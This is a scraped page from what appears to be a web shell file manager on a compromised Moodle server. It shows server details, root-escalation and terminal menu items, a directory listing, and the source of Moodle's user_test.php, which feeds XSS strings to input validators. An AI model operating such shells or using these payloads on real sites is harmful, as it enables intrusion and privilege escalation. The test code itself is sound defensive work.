Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
lib /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
behat
[ DIR ]
drwxr-sr-x
2017-06-22 15:51
fixtures
[ DIR ]
drwxr-sr-x
2017-06-22 15:52
other
[ DIR ]
drwxr-sr-x
2017-06-22 15:52
performance
[ DIR ]
drwxr-sr-x
2017-06-22 15:52
accesslib_test.php
155.23
KB
-rw-r--r--
2017-06-22 15:51
adhoc_task_test.php
3.6
KB
-rw-r--r--
2017-06-22 15:51
admintree_test.php
12.62
KB
-rw-r--r--
2017-06-22 15:51
ajaxlib_test.php
4.35
KB
-rw-r--r--
2017-06-22 15:51
antivirus_test.php
3.63
KB
-rw-r--r--
2017-06-22 15:51
authlib_test.php
11.49
KB
-rw-r--r--
2017-06-22 15:51
blocklib_test.php
24.65
KB
-rw-r--r--
2017-06-22 15:51
collator_test.php
11.98
KB
-rw-r--r--
2017-06-22 15:51
completionlib_test.php
37.83
KB
-rw-r--r--
2017-06-22 15:51
component_test.php
37.04
KB
-rw-r--r--
2017-06-22 15:51
componentlib_test.php
6.64
KB
-rw-r--r--
2017-06-22 15:51
configonlylib_test.php
6.15
KB
-rw-r--r--
2017-06-22 15:51
coursecatlib_test.php
39.89
KB
-rw-r--r--
2017-06-22 15:51
cronlib_test.php
6.44
KB
-rw-r--r--
2017-06-22 15:51
csslib_test.php
8.57
KB
-rw-r--r--
2017-06-22 15:51
csvclass_test.php
5.56
KB
-rw-r--r--
2017-06-22 15:51
curl_security_helper_test.php
12.96
KB
-rw-r--r--
2017-06-22 15:51
customcontext_test.php
3.66
KB
-rw-r--r--
2017-06-22 15:51
datalib_test.php
28.64
KB
-rw-r--r--
2017-06-22 15:51
datalib_update_with_unique_index_test.php
6.31
KB
-rw-r--r--
2017-06-22 15:51
date_legacy_test.php
13.9
KB
-rw-r--r--
2017-06-22 15:51
date_test.php
24.13
KB
-rw-r--r--
2017-06-22 15:51
editorlib_test.php
2.01
KB
-rw-r--r--
2017-06-22 15:51
environment_test.php
7.66
KB
-rw-r--r--
2017-06-22 15:51
event_course_module_instance_list_viewed.php
2.7
KB
-rw-r--r--
2017-06-22 15:51
event_course_module_viewed.php
3.31
KB
-rw-r--r--
2017-06-22 15:51
event_deprecated_test.php
1.49
KB
-rw-r--r--
2017-06-22 15:51
event_grade_deleted_test.php
3.25
KB
-rw-r--r--
2017-06-22 15:51
event_test.php
40.93
KB
-rw-r--r--
2017-06-22 15:51
event_unknown_logged_test.php
1.92
KB
-rw-r--r--
2017-06-22 15:51
event_user_graded_test.php
10.06
KB
-rw-r--r--
2017-06-22 15:51
event_user_password_updated_test.php
2.89
KB
-rw-r--r--
2017-06-22 15:51
events_test.php
15.29
KB
-rw-r--r--
2017-06-22 15:51
eventslib_test.php
11.8
KB
-rw-r--r--
2017-06-22 15:51
externallib_test.php
22.73
KB
-rw-r--r--
2017-06-22 15:51
filelib_test.php
50.67
KB
-rw-r--r--
2017-06-22 15:51
filetypes_test.php
9.99
KB
-rw-r--r--
2017-06-22 15:51
filter_manager_test.php
3.1
KB
-rw-r--r--
2017-06-22 15:51
filterlib_test.php
28.43
KB
-rw-r--r--
2017-06-22 15:51
formslib_test.php
39.82
KB
-rw-r--r--
2017-06-22 15:52
gdlib_test.php
5.91
KB
-rw-r--r--
2017-06-22 15:52
gradelib_test.php
2.05
KB
-rw-r--r--
2017-06-22 15:52
grades_externallib_test.php
20.79
KB
-rw-r--r--
2017-06-22 15:52
grading_externallib_test.php
26.27
KB
-rw-r--r--
2017-06-22 15:52
grouplib_test.php
62.33
KB
-rw-r--r--
2017-06-22 15:52
html2text_test.php
7.56
KB
-rw-r--r--
2017-06-22 15:52
html_writer_test.php
8.74
KB
-rw-r--r--
2017-06-22 15:52
htmlpurifier_test.php
21.25
KB
-rw-r--r--
2017-06-22 15:52
ip_utils_test.php
13.4
KB
-rw-r--r--
2017-06-22 15:52
jquery_test.php
1.77
KB
-rw-r--r--
2017-06-22 15:52
ldaplib_test.php
7.14
KB
-rw-r--r--
2017-06-22 15:52
lock_config_test.php
2.33
KB
-rw-r--r--
2017-06-22 15:52
lock_test.php
3.96
KB
-rw-r--r--
2017-06-22 15:52
markdown_test.php
2.2
KB
-rw-r--r--
2017-06-22 15:52
mathslib_test.php
8.14
KB
-rw-r--r--
2017-06-22 15:52
medialib_test.php
20.95
KB
-rw-r--r--
2017-06-22 15:52
message_test.php
10.32
KB
-rw-r--r--
2017-06-22 15:52
messageinbound_test.php
5.92
KB
-rw-r--r--
2017-06-22 15:52
messagelib_test.php
39.51
KB
-rw-r--r--
2017-06-22 15:52
minify_test.php
3.13
KB
-rw-r--r--
2017-06-22 15:52
modinfolib_test.php
44.04
KB
-rw-r--r--
2017-06-22 15:52
moodle_page_test.php
25.52
KB
-rw-r--r--
2017-06-22 15:52
moodlelib_test.php
153.62
KB
-rw-r--r--
2017-06-22 15:52
mustache_template_finder_test.php
3.35
KB
-rw-r--r--
2017-06-22 15:52
myprofilelib_test.php
10.7
KB
-rw-r--r--
2017-06-22 15:52
navigationlib_test.php
26.04
KB
-rw-r--r--
2017-06-22 15:52
notification_test.php
4.18
KB
-rw-r--r--
2017-06-22 15:52
outputcomponents_test.php
19.33
KB
-rw-r--r--
2017-06-22 15:52
outputfactories_test.php
6.8
KB
-rw-r--r--
2017-06-22 15:52
outputrequirementslib_test.php
4.05
KB
-rw-r--r--
2017-06-22 15:52
plugin_manager_test.php
22.2
KB
-rw-r--r--
2017-06-22 15:52
portfoliolib_test.php
8.41
KB
-rw-r--r--
2017-06-22 15:52
progress_display_test.php
3.68
KB
-rw-r--r--
2017-06-22 15:52
progress_test.php
14.5
KB
-rw-r--r--
2017-06-22 15:52
questionlib_test.php
19.87
KB
-rw-r--r--
2017-06-22 15:52
regex_test.php
1.88
KB
-rw-r--r--
2017-06-22 15:52
requirejs_test.php
3.7
KB
-rw-r--r--
2017-06-22 15:52
rsslib_test.php
6.7
KB
-rw-r--r--
2017-06-22 15:52
scheduled_task_test.php
19.09
KB
-rw-r--r--
2017-06-22 15:52
scss_test.php
2.53
KB
-rw-r--r--
2017-06-22 15:52
session_manager_test.php
25.54
KB
-rw-r--r--
2017-06-22 15:52
session_redis_test.php
10.77
KB
-rw-r--r--
2017-06-22 15:52
sessionlib_test.php
12.57
KB
-rw-r--r--
2017-06-22 15:52
setuplib_test.php
18.57
KB
-rw-r--r--
2017-06-22 15:52
statslib_test.php
24.88
KB
-rw-r--r--
2017-06-22 15:52
string_manager_standard_test.php
6.91
KB
-rw-r--r--
2017-06-22 15:52
tablelib_test.php
18.07
KB
-rw-r--r--
2017-06-22 15:52
text_test.php
20.06
KB
-rw-r--r--
2017-06-22 15:52
theme_config_test.php
7.45
KB
-rw-r--r--
2017-06-22 15:52
unoconv_test.php
4
KB
-rw-r--r--
2017-06-22 15:52
update_api_test.php
6.75
KB
-rw-r--r--
2017-06-22 15:52
update_checker_test.php
10.92
KB
-rw-r--r--
2017-06-22 15:52
update_code_manager_test.php
9.11
KB
-rw-r--r--
2017-06-22 15:52
update_validator_test.php
18.47
KB
-rw-r--r--
2017-06-22 15:52
upgrade_util_test.php
5.65
KB
-rw-r--r--
2017-06-22 15:52
upgradelib_test.php
43.23
KB
-rw-r--r--
2017-06-22 15:52
user_menu_test.php
3.73
KB
-rw-r--r--
2017-06-22 15:52
user_test.php
17.23
KB
-rw-r--r--
2017-06-22 15:52
useragent_test.php
79.88
KB
-rw-r--r--
2017-06-22 15:52
weblib_format_text_test.php
8.43
KB
-rw-r--r--
2017-06-22 15:52
weblib_test.php
27.29
KB
-rw-r--r--
2017-06-22 15:52
xhtml_container_stack_test.php
4.16
KB
-rw-r--r--
2017-06-22 15:52
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tests core_user class. * * @package core * @copyright 2013 Rajesh Taneja <rajesh@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ /** * Test core_user class. * * @package core * @copyright 2013 Rajesh Taneja <rajesh@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class core_user_testcase extends advanced_testcase { /** * Setup test data. */ protected function setUp() { $this->resetAfterTest(true); } public function test_get_user() { global $CFG; // Create user and try fetach it with api. $user = $this->getDataGenerator()->create_user(); $this->assertEquals($user, core_user::get_user($user->id, '*', MUST_EXIST)); // Test noreply user. $CFG->noreplyuserid = null; $noreplyuser = core_user::get_noreply_user(); $this->assertEquals(1, $noreplyuser->emailstop); $this->assertFalse(core_user::is_real_user($noreplyuser->id)); $this->assertEquals($CFG->noreplyaddress, $noreplyuser->email); $this->assertEquals(get_string('noreplyname'), $noreplyuser->firstname); // Set user as noreply user and make sure noreply propery is set. core_user::reset_internal_users(); $CFG->noreplyuserid = $user->id; $noreplyuser = core_user::get_noreply_user(); $this->assertEquals(1, $noreplyuser->emailstop); $this->assertTrue(core_user::is_real_user($noreplyuser->id)); // Test support user. core_user::reset_internal_users(); $CFG->supportemail = null; $CFG->noreplyuserid = null; $supportuser = core_user::get_support_user(); $adminuser = get_admin(); $this->assertEquals($adminuser, $supportuser); $this->assertTrue(core_user::is_real_user($supportuser->id)); // When supportemail is set. core_user::reset_internal_users(); $CFG->supportemail = 'test@example.com'; $supportuser = core_user::get_support_user(); $this->assertEquals(core_user::SUPPORT_USER, $supportuser->id); $this->assertFalse(core_user::is_real_user($supportuser->id)); // Set user as support user and make sure noreply propery is set. core_user::reset_internal_users(); $CFG->supportuserid = $user->id; $supportuser = core_user::get_support_user(); $this->assertEquals($user, $supportuser); $this->assertTrue(core_user::is_real_user($supportuser->id)); } /** * Test get_user_by_username method. */ public function test_get_user_by_username() { $record = array(); $record['username'] = 'johndoe'; $record['email'] = 'johndoe@example.com'; $record['timecreated'] = time(); // Create a default user for the test. $userexpected = $this->getDataGenerator()->create_user($record); // Assert that the returned user is the espected one. $this->assertEquals($userexpected, core_user::get_user_by_username('johndoe')); // Assert that a subset of fields is correctly returned. $this->assertEquals((object) $record, core_user::get_user_by_username('johndoe', 'username,email,timecreated')); // Assert that a user with a different mnethostid will no be returned. $this->assertFalse(core_user::get_user_by_username('johndoe', 'username,email,timecreated', 2)); // Create a new user from a different host. $record['mnethostid'] = 2; $userexpected2 = $this->getDataGenerator()->create_user($record); // Assert that the new user is returned when specified the correct mnethostid. $this->assertEquals($userexpected2, core_user::get_user_by_username('johndoe', '*', 2)); // Assert that a user not in the db return false. $this->assertFalse(core_user::get_user_by_username('janedoe')); } /** * Test require_active_user */ public function test_require_active_user() { global $DB; // Create a default user for the test. $userexpected = $this->getDataGenerator()->create_user(); // Simple case, all good. core_user::require_active_user($userexpected, true, true); // Set user not confirmed. $DB->set_field('user', 'confirmed', 0, array('id' => $userexpected->id)); try { core_user::require_active_user($userexpected); } catch (moodle_exception $e) { $this->assertEquals('usernotconfirmed', $e->errorcode); } $DB->set_field('user', 'confirmed', 1, array('id' => $userexpected->id)); // Set nologin auth method. $DB->set_field('user', 'auth', 'nologin', array('id' => $userexpected->id)); try { core_user::require_active_user($userexpected, false, true); } catch (moodle_exception $e) { $this->assertEquals('suspended', $e->errorcode); } // Check no exceptions are thrown if we don't specify to check suspended. core_user::require_active_user($userexpected); $DB->set_field('user', 'auth', 'manual', array('id' => $userexpected->id)); // Set user suspended. $DB->set_field('user', 'suspended', 1, array('id' => $userexpected->id)); try { core_user::require_active_user($userexpected, true); } catch (moodle_exception $e) { $this->assertEquals('suspended', $e->errorcode); } // Check no exceptions are thrown if we don't specify to check suspended. core_user::require_active_user($userexpected); // Delete user. delete_user($userexpected); try { core_user::require_active_user($userexpected); } catch (moodle_exception $e) { $this->assertEquals('userdeleted', $e->errorcode); } // Use a not real user. $noreplyuser = core_user::get_noreply_user(); try { core_user::require_active_user($noreplyuser, true); } catch (moodle_exception $e) { $this->assertEquals('invaliduser', $e->errorcode); } // Get the guest user. $guestuser = $DB->get_record('user', array('username' => 'guest')); try { core_user::require_active_user($guestuser, true); } catch (moodle_exception $e) { $this->assertEquals('guestsarenotallowed', $e->errorcode); } } /** * Test get_property_definition() method. */ public function test_get_property_definition() { // Try to get a existing property. $properties = core_user::get_property_definition('id'); $this->assertEquals($properties['type'], PARAM_INT); $properties = core_user::get_property_definition('username'); $this->assertEquals($properties['type'], PARAM_USERNAME); // Invalid property. try { core_user::get_property_definition('fullname'); } catch (coding_exception $e) { $this->assertRegExp('/Invalid property requested./', $e->getMessage()); } // Empty parameter. try { core_user::get_property_definition(''); } catch (coding_exception $e) { $this->assertRegExp('/Invalid property requested./', $e->getMessage()); } } /** * Test validate() method. */ public function test_validate() { // Create user with just with username and firstname. $record = array('username' => 's10', 'firstname' => 'Bebe Stevens'); $validation = core_user::validate((object)$record); // Validate the user, should return true as the user data is correct. $this->assertTrue($validation); // Create user with incorrect data (invalid country and theme). $record = array('username' => 's1', 'firstname' => 'Eric Cartman', 'country' => 'UU', 'theme' => 'beise'); // Should return an array with 2 errors. $validation = core_user::validate((object)$record); $this->assertArrayHasKey('country', $validation); $this->assertArrayHasKey('theme', $validation); $this->assertCount(2, $validation); // Create user with malicious data (xss). $record = array('username' => 's3', 'firstname' => 'Kyle<script>alert(1);<script> Broflovski'); // Should return an array with 1 error. $validation = core_user::validate((object)$record); $this->assertCount(1, $validation); $this->assertArrayHasKey('firstname', $validation); } /** * Test clean_data() method. */ public function test_clean_data() { $this->resetAfterTest(false); $user = new stdClass(); $user->firstname = 'John <script>alert(1)</script> Doe'; $user->username = 'john%#&~%*_doe'; $user->email = ' john@testing.com '; $user->deleted = 'no'; $user->description = '<b>A description <script>alert(123);</script>about myself.</b>'; $usercleaned = core_user::clean_data($user); // Expected results. $this->assertEquals('John alert(1) Doe', $usercleaned->firstname); $this->assertEquals('john@testing.com', $usercleaned->email); $this->assertEquals(0, $usercleaned->deleted); $this->assertEquals('<b>A description <script>alert(123);</script>about myself.</b>', $user->description); $this->assertEquals('john_doe', $user->username); // Try to clean an invalid property (userfullname). $user->userfullname = 'John Doe'; core_user::clean_data($user); $this->assertDebuggingCalled("The property 'userfullname' could not be cleaned."); } /** * Test clean_field() method. */ public function test_clean_field() { // Create a 'malicious' user object/ $user = new stdClass(); $user->firstname = 'John <script>alert(1)</script> Doe'; $user->username = 'john%#&~%*_doe'; $user->email = ' john@testing.com '; $user->deleted = 'no'; $user->description = '<b>A description <script>alert(123);</script>about myself.</b>'; $user->userfullname = 'John Doe'; // Expected results. $this->assertEquals('John alert(1) Doe', core_user::clean_field($user->firstname, 'firstname')); $this->assertEquals('john_doe', core_user::clean_field($user->username, 'username')); $this->assertEquals('john@testing.com', core_user::clean_field($user->email, 'email')); $this->assertEquals(0, core_user::clean_field($user->deleted, 'deleted')); $this->assertEquals('<b>A description <script>alert(123);</script>about myself.</b>', core_user::clean_field($user->description, 'description')); // Try to clean an invalid property (fullname). core_user::clean_field($user->userfullname, 'fullname'); $this->assertDebuggingCalled("The property 'fullname' could not be cleaned."); } /** * Test get_property_type() method. */ public function test_get_property_type() { // Fetch valid properties and verify if the type is correct. $type = core_user::get_property_type('username'); $this->assertEquals(PARAM_USERNAME, $type); $type = core_user::get_property_type('email'); $this->assertEquals(PARAM_RAW_TRIMMED, $type); $type = core_user::get_property_type('timezone'); $this->assertEquals(PARAM_TIMEZONE, $type); // Try to fetch type of a non-existent properties. $nonexistingproperty = 'userfullname'; $this->expectException('coding_exception'); $this->expectExceptionMessage('Invalid property requested: ' . $nonexistingproperty); core_user::get_property_type($nonexistingproperty); $nonexistingproperty = 'mobilenumber'; $this->expectExceptionMessage('Invalid property requested: ' . $nonexistingproperty); core_user::get_property_type($nonexistingproperty); } /** * Test get_property_null() method. */ public function test_get_property_null() { // Fetch valid properties and verify if it is NULL_ALLOWED or NULL_NOT_ALLOWED. $property = core_user::get_property_null('username'); $this->assertEquals(NULL_NOT_ALLOWED, $property); $property = core_user::get_property_null('password'); $this->assertEquals(NULL_NOT_ALLOWED, $property); $property = core_user::get_property_null('imagealt'); $this->assertEquals(NULL_ALLOWED, $property); $property = core_user::get_property_null('middlename'); $this->assertEquals(NULL_ALLOWED, $property); // Try to fetch type of a non-existent properties. $nonexistingproperty = 'lastnamefonetic'; $this->expectException('coding_exception'); $this->expectExceptionMessage('Invalid property requested: ' . $nonexistingproperty); core_user::get_property_null($nonexistingproperty); $nonexistingproperty = 'midlename'; $this->expectExceptionMessage('Invalid property requested: ' . $nonexistingproperty); core_user::get_property_null($nonexistingproperty); } /** * Test get_property_choices() method. */ public function test_get_property_choices() { // Test against country property choices. $choices = core_user::get_property_choices('country'); $this->assertArrayHasKey('AU', $choices); $this->assertArrayHasKey('BR', $choices); $this->assertArrayNotHasKey('WW', $choices); $this->assertArrayNotHasKey('TX', $choices); // Test against lang property choices. $choices = core_user::get_property_choices('lang'); $this->assertArrayHasKey('en', $choices); $this->assertArrayNotHasKey('ww', $choices); $this->assertArrayNotHasKey('yy', $choices); // Test against theme property choices. $choices = core_user::get_property_choices('theme'); $this->assertArrayHasKey('bootstrapbase', $choices); $this->assertArrayHasKey('clean', $choices); $this->assertArrayNotHasKey('unknowntheme', $choices); $this->assertArrayNotHasKey('wrongtheme', $choices); // Try to fetch type of a non-existent properties. $nonexistingproperty = 'language'; $this->expectException('coding_exception'); $this->expectExceptionMessage('Invalid property requested: ' . $nonexistingproperty); core_user::get_property_null($nonexistingproperty); $nonexistingproperty = 'coutries'; $this->expectExceptionMessage('Invalid property requested: ' . $nonexistingproperty); core_user::get_property_null($nonexistingproperty); } /** * Test get_property_default(). * * * @expectedException coding_exception * @expectedExceptionMessage Invalid property requested, or the property does not has a default value. */ public function test_get_property_default() { global $CFG; $this->resetAfterTest(); $country = core_user::get_property_default('country'); $this->assertEquals($CFG->country, $country); set_config('country', 'AU'); core_user::reset_caches(); $country = core_user::get_property_default('country'); $this->assertEquals($CFG->country, $country); $lang = core_user::get_property_default('lang'); $this->assertEquals($CFG->lang, $lang); set_config('lang', 'en'); $lang = core_user::get_property_default('lang'); $this->assertEquals($CFG->lang, $lang); $this->setTimezone('Europe/London', 'Pacific/Auckland'); core_user::reset_caches(); $timezone = core_user::get_property_default('timezone'); $this->assertEquals('Europe/London', $timezone); $this->setTimezone('99', 'Pacific/Auckland'); core_user::reset_caches(); $timezone = core_user::get_property_default('timezone'); $this->assertEquals('Pacific/Auckland', $timezone); core_user::get_property_default('firstname'); } /** * Ensure that the noreply user is not cached. */ public function test_get_noreply_user() { global $CFG; // Create a new fake language 'xx' with the 'noreplyname'. $langfolder = $CFG->dataroot . '/lang/xx'; check_dir_exists($langfolder); $langconfig = "<?php\n\defined('MOODLE_INTERNAL') || die();"; file_put_contents($langfolder . '/langconfig.php', $langconfig); $langconfig = "<?php\n\$string['noreplyname'] = 'XXX';"; file_put_contents($langfolder . '/moodle.php', $langconfig); $CFG->lang='en'; $enuser = \core_user::get_noreply_user(); $CFG->lang='xx'; $xxuser = \core_user::get_noreply_user(); $this->assertNotEquals($enuser, $xxuser); } }